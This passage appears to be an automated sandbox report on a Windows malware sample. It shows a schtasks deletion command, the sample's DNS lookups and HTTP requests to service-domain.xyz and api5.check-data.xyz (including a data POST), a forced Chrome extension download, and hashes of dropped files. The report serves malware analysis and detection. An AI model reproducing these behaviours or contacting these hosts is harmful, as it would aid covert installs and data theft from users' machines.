                                                                                                                                                                                                                              schtasks /DELETE /F /TN "dSPsRFCNvoTMekFez"
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:3216

                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                            service-domain.xyz
                                                                                                                                                                                                                            zcPGbPn.exe
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            service-domain.xyz
                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                            service-domain.xyz
                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                            3.80.150.121
                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                            GET
                                                                                                                                                                                                                            https://service-domain.xyz/google_ifi_ico.png?rnd=Rx4vK2hE4fve6bDw1TNX_YSKC3DTKC9QRKC9ETKC1JTKC6DTKC4BTKC0JTKC6QRKC1SVKC4
                                                                                                                                                                                                                            zcPGbPn.exe
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            3.80.150.121:443
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            GET /google_ifi_ico.png?rnd=Rx4vK2hE4fve6bDw1TNX_YSKC3DTKC9QRKC9ETKC1JTKC6DTKC4BTKC0JTKC6QRKC1SVKC4 HTTP/1.1
                                                                                                                                                                                                                            Host: service-domain.xyz
                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                            HTTP/1.1 200 OK
                                                                                                                                                                                                                            Server: nginx
                                                                                                                                                                                                                            Date: Tue, 07 May 2024 22:45:33 GMT
                                                                                                                                                                                                                            Content-Type: image/png
                                                                                                                                                                                                                            Content-Length: 95
                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                                                                                                                            Cache-control: no-cache="set-cookie"
                                                                                                                                                                                                                            Set-Cookie: AWSELB=9327DF5F0AF3D375CDC9DE0AFF98FDC82A9589C9824CDF98F06272B58281A369C0E7C7AE6EC5781D948882C8767BA08E2574E7340BD1AEA80ADD88F1586867317B7C62D227;PATH=/;MAX-AGE=43200
                                                                                                                                                                                                                            Set-Cookie: AWSELBCORS=9327DF5F0AF3D375CDC9DE0AFF98FDC82A9589C9824CDF98F06272B58281A369C0E7C7AE6EC5781D948882C8767BA08E2574E7340BD1AEA80ADD88F1586867317B7C62D227;PATH=/;MAX-AGE=43200;SECURE;SAMESITE=None
                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                            79.190.18.2.in-addr.arpa
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            79.190.18.2.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                            79.190.18.2.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            a2-18-190-79deploystaticakamaitechnologiescom
                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                            29.17.21.2.in-addr.arpa
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            29.17.21.2.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                            29.17.21.2.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            a2-21-17-29deploystaticakamaitechnologiescom
                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                            121.150.80.3.in-addr.arpa
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            121.150.80.3.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                            121.150.80.3.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            ec2-3-80-150-121 compute-1 amazonawscom
                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                            80.190.18.2.in-addr.arpa
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            80.190.18.2.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                            80.190.18.2.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            a2-18-190-80deploystaticakamaitechnologiescom
                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                            clients2.google.com
                                                                                                                                                                                                                            zcPGbPn.exe
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            clients2.google.com
                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                            clients2.google.com
                                                                                                                                                                                                                            IN CNAME
                                                                                                                                                                                                                            clients.l.google.com
                                                                                                                                                                                                                            clients.l.google.com
                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                            172.217.16.238
                                                                                                                                                                                                                          • flag-gb
                                                                                                                                                                                                                            GET
                                                                                                                                                                                                                            https://clients2.google.com/service/update2/crx?response=redirect&os=win&arch=x86&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=59.0.3071.86&lang=en-US&acceptformat=crx2,crx3&x=id%3Doikgcnjambfooaigmdljblbaeelmekem%26installsource%3Dondemand%26uc&hJsiLGCjwi
                                                                                                                                                                                                                            zcPGbPn.exe
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            172.217.16.238:443
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            GET /service/update2/crx?response=redirect&os=win&arch=x86&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=59.0.3071.86&lang=en-US&acceptformat=crx2,crx3&x=id%3Doikgcnjambfooaigmdljblbaeelmekem%26installsource%3Dondemand%26uc&hJsiLGCjwi HTTP/1.1
                                                                                                                                                                                                                            Host: clients2.google.com
                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                            HTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                            Content-Security-Policy: script-src 'report-sample' 'nonce-OaHPdurb_DxnTq5qSxZTNw' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1
                                                                                                                                                                                                                            Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                            Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                            Date: Tue, 07 May 2024 22:45:34 GMT
                                                                                                                                                                                                                            Location: https://clients2.googleusercontent.com/crx/blobs/AfQPRnkif1inWhBJ6y1gDsDQZ4Eyn_Qz_uLRCpaeXDwuVacP9m-meDjm0tJh22MKIBX7Qu2os3lQfBH4jrbinMvfs-3zRTSg6nxPBNENq5Js864RKJG5AMZSmuX13L8KhHlzOdsbuBGxxZNB_X1K4A/OIKGCNJAMBFOOAIGMDLJBLBAEELMEKEM_2_0_0_3.crx
                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                            X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                            Server: GSE
                                                                                                                                                                                                                            Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                                                                                                                                            Accept-Ranges: none
                                                                                                                                                                                                                            Vary: Accept-Encoding
                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                            clients2.googleusercontent.com
                                                                                                                                                                                                                            zcPGbPn.exe
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            clients2.googleusercontent.com
                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                            clients2.googleusercontent.com
                                                                                                                                                                                                                            IN CNAME
                                                                                                                                                                                                                            googlehosted.l.googleusercontent.com
                                                                                                                                                                                                                            googlehosted.l.googleusercontent.com
                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                            216.58.201.97
                                                                                                                                                                                                                          • flag-gb
                                                                                                                                                                                                                            GET
                                                                                                                                                                                                                            https://clients2.googleusercontent.com/crx/blobs/AfQPRnkif1inWhBJ6y1gDsDQZ4Eyn_Qz_uLRCpaeXDwuVacP9m-meDjm0tJh22MKIBX7Qu2os3lQfBH4jrbinMvfs-3zRTSg6nxPBNENq5Js864RKJG5AMZSmuX13L8KhHlzOdsbuBGxxZNB_X1K4A/OIKGCNJAMBFOOAIGMDLJBLBAEELMEKEM_2_0_0_3.crx
                                                                                                                                                                                                                            zcPGbPn.exe
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            216.58.201.97:443
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            GET /crx/blobs/AfQPRnkif1inWhBJ6y1gDsDQZ4Eyn_Qz_uLRCpaeXDwuVacP9m-meDjm0tJh22MKIBX7Qu2os3lQfBH4jrbinMvfs-3zRTSg6nxPBNENq5Js864RKJG5AMZSmuX13L8KhHlzOdsbuBGxxZNB_X1K4A/OIKGCNJAMBFOOAIGMDLJBLBAEELMEKEM_2_0_0_3.crx HTTP/1.1
                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                            Host: clients2.googleusercontent.com
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                            HTTP/1.1 200 OK
                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                            Content-Length: 26186
                                                                                                                                                                                                                            X-GUploader-UploadID: ABPtcPrkaCWtpa9-LGJxgmrWWxw-mEyZEF1-6dXEYFKue06JlPqcbxXFvmVaTmeP2wxN50YyhTY
                                                                                                                                                                                                                            X-Goog-Hash: crc32c=i5zIOg==
                                                                                                                                                                                                                            Server: UploadServer
                                                                                                                                                                                                                            Date: Tue, 07 May 2024 21:04:37 GMT
                                                                                                                                                                                                                            Expires: Wed, 07 May 2025 21:04:37 GMT
                                                                                                                                                                                                                            Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                            Age: 6058
                                                                                                                                                                                                                            Last-Modified: Fri, 31 Mar 2023 12:41:59 GMT
                                                                                                                                                                                                                            ETag: eefd433b_0ed85c7c_6772d0c2_d374e578_c3d87100
                                                                                                                                                                                                                            Content-Type: application/x-chrome-extension
                                                                                                                                                                                                                            Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                            234.212.58.216.in-addr.arpa
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            234.212.58.216.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                            234.212.58.216.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            ams16s22-in-f2341e100net
                                                                                                                                                                                                                            234.212.58.216.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            lhr25s28-in-f10�J
                                                                                                                                                                                                                            234.212.58.216.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            ams16s22-in-f10�J
                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                            195.187.250.142.in-addr.arpa
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            195.187.250.142.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                            195.187.250.142.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            lhr25s33-in-f31e100net
                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                            238.16.217.172.in-addr.arpa
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            238.16.217.172.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                            238.16.217.172.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            mad08s04-in-f141e100net
                                                                                                                                                                                                                            238.16.217.172.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            lhr48s28-in-f14�I
                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                            97.201.58.216.in-addr.arpa
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            97.201.58.216.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                            97.201.58.216.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            prg03s02-in-f971e100net
                                                                                                                                                                                                                            97.201.58.216.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            prg03s02-in-f1�H
                                                                                                                                                                                                                            97.201.58.216.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            lhr48s48-in-f1�H
                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                            api5.check-data.xyz
                                                                                                                                                                                                                            rundll32.exe
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            api5.check-data.xyz
                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                            api5.check-data.xyz
                                                                                                                                                                                                                            IN CNAME
                                                                                                                                                                                                                            checkdata-1114476139.us-west-2.elb.amazonaws.com
                                                                                                                                                                                                                            checkdata-1114476139.us-west-2.elb.amazonaws.com
                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                            35.82.94.151
                                                                                                                                                                                                                            checkdata-1114476139.us-west-2.elb.amazonaws.com
                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                            44.231.33.228
                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                            POST
                                                                                                                                                                                                                            http://api5.check-data.xyz/api2/google_api_ifi
                                                                                                                                                                                                                            rundll32.exe
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            35.82.94.151:80
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            POST /api2/google_api_ifi HTTP/1.1
                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/0 Safari/537.36
                                                                                                                                                                                                                            Host: api5.check-data.xyz
                                                                                                                                                                                                                            Content-Length: 723
                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                            HTTP/1.1 200 OK
                                                                                                                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                                                                                                                            Cache-control: no-cache="set-cookie"
                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                            Date: Tue, 07 May 2024 22:47:12 GMT
                                                                                                                                                                                                                            Server: nginx
                                                                                                                                                                                                                            Set-Cookie: AWSELB=9327DF5F0AF3D375CDC9DE0AFF98FDC82A9589C9824CDF98F06272B58281A369C0E7C7AE6EC5781D948882C8767BA08E2574E7340BD1AEA80ADD88F1586867317B7C62D227;PATH=/;MAX-AGE=43200
                                                                                                                                                                                                                            Content-Length: 0
                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                            151.94.82.35.in-addr.arpa
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            151.94.82.35.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                            151.94.82.35.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            ec2-35-82-94-151 us-west-2compute amazonawscom
                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                            14.227.111.52.in-addr.arpa
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            14.227.111.52.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                            4.73.50.20.in-addr.arpa
                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                            4.73.50.20.in-addr.arpa
                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                          • 3.80.150.121:443
                                                                                                                                                                                                                            https://service-domain.xyz/google_ifi_ico.png?rnd=Rx4vK2hE4fve6bDw1TNX_YSKC3DTKC9QRKC9ETKC1JTKC6DTKC4BTKC0JTKC6QRKC1SVKC4
                                                                                                                                                                                                                            tls, http
                                                                                                                                                                                                                            zcPGbPn.exe
                                                                                                                                                                                                                            982 B
                                                                                                                                                                                                                             4.2kB
                                                                                                                                                                                                                             11
                                                                                                                                                                                                                            9

                                                                                                                                                                                                                            HTTP Request

                                                                                                                                                                                                                            GET https://service-domain.xyz/google_ifi_ico.png?rnd=Rx4vK2hE4fve6bDw1TNX_YSKC3DTKC9QRKC9ETKC1JTKC6DTKC4BTKC0JTKC6QRKC1SVKC4

                                                                                                                                                                                                                            HTTP Response

                                                                                                                                                                                                                            200
                                                                                                                                                                                                                          • 172.217.16.238:443
                                                                                                                                                                                                                            https://clients2.google.com/service/update2/crx?response=redirect&os=win&arch=x86&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=59.0.3071.86&lang=en-US&acceptformat=crx2,crx3&x=id%3Doikgcnjambfooaigmdljblbaeelmekem%26installsource%3Dondemand%26uc&hJsiLGCjwi
                                                                                                                                                                                                                            tls, http
                                                                                                                                                                                                                            zcPGbPn.exe
                                                                                                                                                                                                                            1.3kB
                                                                                                                                                                                                                             9.0kB
                                                                                                                                                                                                                             15
                                                                                                                                                                                                                            12

                                                                                                                                                                                                                            HTTP Request

                                                                                                                                                                                                                            GET https://clients2.google.com/service/update2/crx?response=redirect&os=win&arch=x86&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=59.0.3071.86&lang=en-US&acceptformat=crx2,crx3&x=id%3Doikgcnjambfooaigmdljblbaeelmekem%26installsource%3Dondemand%26uc&hJsiLGCjwi

                                                                                                                                                                                                                            HTTP Response

                                                                                                                                                                                                                            302
                                                                                                                                                                                                                          • 216.58.201.97:443
                                                                                                                                                                                                                            https://clients2.googleusercontent.com/crx/blobs/AfQPRnkif1inWhBJ6y1gDsDQZ4Eyn_Qz_uLRCpaeXDwuVacP9m-meDjm0tJh22MKIBX7Qu2os3lQfBH4jrbinMvfs-3zRTSg6nxPBNENq5Js864RKJG5AMZSmuX13L8KhHlzOdsbuBGxxZNB_X1K4A/OIKGCNJAMBFOOAIGMDLJBLBAEELMEKEM_2_0_0_3.crx
                                                                                                                                                                                                                            tls, http
                                                                                                                                                                                                                            zcPGbPn.exe
                                                                                                                                                                                                                            2.2kB
                                                                                                                                                                                                                             37.9kB
                                                                                                                                                                                                                             35
                                                                                                                                                                                                                            31

                                                                                                                                                                                                                            HTTP Request

                                                                                                                                                                                                                            GET https://clients2.googleusercontent.com/crx/blobs/AfQPRnkif1inWhBJ6y1gDsDQZ4Eyn_Qz_uLRCpaeXDwuVacP9m-meDjm0tJh22MKIBX7Qu2os3lQfBH4jrbinMvfs-3zRTSg6nxPBNENq5Js864RKJG5AMZSmuX13L8KhHlzOdsbuBGxxZNB_X1K4A/OIKGCNJAMBFOOAIGMDLJBLBAEELMEKEM_2_0_0_3.crx

                                                                                                                                                                                                                            HTTP Response

                                                                                                                                                                                                                            200
                                                                                                                                                                                                                          • 35.82.94.151:80
                                                                                                                                                                                                                            http://api5.check-data.xyz/api2/google_api_ifi
                                                                                                                                                                                                                            http
                                                                                                                                                                                                                            rundll32.exe
                                                                                                                                                                                                                            1.2kB
                                                                                                                                                                                                                             536 B
                                                                                                                                                                                                                             5
                                                                                                                                                                                                                            3

                                                                                                                                                                                                                            HTTP Request

                                                                                                                                                                                                                            POST http://api5.check-data.xyz/api2/google_api_ifi

                                                                                                                                                                                                                            HTTP Response

                                                                                                                                                                                                                            200
                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                            service-domain.xyz
                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                            zcPGbPn.exe
                                                                                                                                                                                                                            64 B
                                                                                                                                                                                                                             80 B
                                                                                                                                                                                                                             1
                                                                                                                                                                                                                            1

                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                            service-domain.xyz

                                                                                                                                                                                                                            DNS Response

                                                                                                                                                                                                                            3.80.150.121

                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                            79.190.18.2.in-addr.arpa
                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                            70 B
                                                                                                                                                                                                                             133 B
                                                                                                                                                                                                                             1
                                                                                                                                                                                                                            1

                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                            79.190.18.2.in-addr.arpa

                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                            29.17.21.2.in-addr.arpa
                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                            69 B
                                                                                                                                                                                                                             131 B
                                                                                                                                                                                                                             1
                                                                                                                                                                                                                            1

                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                            29.17.21.2.in-addr.arpa

                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                            121.150.80.3.in-addr.arpa
                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                            71 B
                                                                                                                                                                                                                             125 B
                                                                                                                                                                                                                             1
                                                                                                                                                                                                                            1

                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                            121.150.80.3.in-addr.arpa

                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                            80.190.18.2.in-addr.arpa
                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                            70 B
                                                                                                                                                                                                                             133 B
                                                                                                                                                                                                                             1
                                                                                                                                                                                                                            1

                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                            80.190.18.2.in-addr.arpa

                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                            clients2.google.com
                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                            zcPGbPn.exe
                                                                                                                                                                                                                            65 B
                                                                                                                                                                                                                             105 B
                                                                                                                                                                                                                             1
                                                                                                                                                                                                                            1

                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                            clients2.google.com

                                                                                                                                                                                                                            DNS Response

                                                                                                                                                                                                                            172.217.16.238

                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                            clients2.googleusercontent.com
                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                            zcPGbPn.exe
                                                                                                                                                                                                                            76 B
                                                                                                                                                                                                                             121 B
                                                                                                                                                                                                                             1
                                                                                                                                                                                                                            1

                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                            clients2.googleusercontent.com

                                                                                                                                                                                                                            DNS Response

                                                                                                                                                                                                                            216.58.201.97

                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                            234.212.58.216.in-addr.arpa
                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                            73 B
                                                                                                                                                                                                                             173 B
                                                                                                                                                                                                                             1
                                                                                                                                                                                                                            1

                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                            234.212.58.216.in-addr.arpa

                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                            195.187.250.142.in-addr.arpa
                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                            74 B
                                                                                                                                                                                                                             112 B
                                                                                                                                                                                                                             1
                                                                                                                                                                                                                            1

                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                            195.187.250.142.in-addr.arpa

                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                            238.16.217.172.in-addr.arpa
                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                            73 B
                                                                                                                                                                                                                             142 B
                                                                                                                                                                                                                             1
                                                                                                                                                                                                                            1

                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                            238.16.217.172.in-addr.arpa

                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                            97.201.58.216.in-addr.arpa
                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                            72 B
                                                                                                                                                                                                                             169 B
                                                                                                                                                                                                                             1
                                                                                                                                                                                                                            1

                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                            97.201.58.216.in-addr.arpa

                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                            api5.check-data.xyz
                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                            rundll32.exe
                                                                                                                                                                                                                            65 B
                                                                                                                                                                                                                             159 B
                                                                                                                                                                                                                             1
                                                                                                                                                                                                                            1

                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                            api5.check-data.xyz

                                                                                                                                                                                                                            DNS Response

                                                                                                                                                                                                                            35.82.94.151
                                                                                                                                                                                                                            44.231.33.228

                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                            151.94.82.35.in-addr.arpa
                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                            71 B
                                                                                                                                                                                                                             133 B
                                                                                                                                                                                                                             1
                                                                                                                                                                                                                            1

                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                            151.94.82.35.in-addr.arpa

                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                            14.227.111.52.in-addr.arpa
                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                            72 B
                                                                                                                                                                                                                             158 B
                                                                                                                                                                                                                             1
                                                                                                                                                                                                                            1

                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                            14.227.111.52.in-addr.arpa

                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                            4.73.50.20.in-addr.arpa
                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                            69 B
                                                                                                                                                                                                                             155 B
                                                                                                                                                                                                                             1
                                                                                                                                                                                                                            1

                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                            4.73.50.20.in-addr.arpa

                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                                          • C:\$RECYCLE.BIN\S-1-5-18\desktop.ini
                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            129B

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            a526b9e7c716b3489d8cc062fbce4005

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            2df502a944ff721241be20a9e449d2acd07e0312

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                          • C:\Program Files (x86)\BeEwQyQINcRtuKICoSR\ySDpotB.xml
                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            0d9ff666344d848592f722b72e09488a

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            7f1d026f7515fa0c43878267ed7d9225042ce08a

                                                                                                                                                                                                                            SHA256

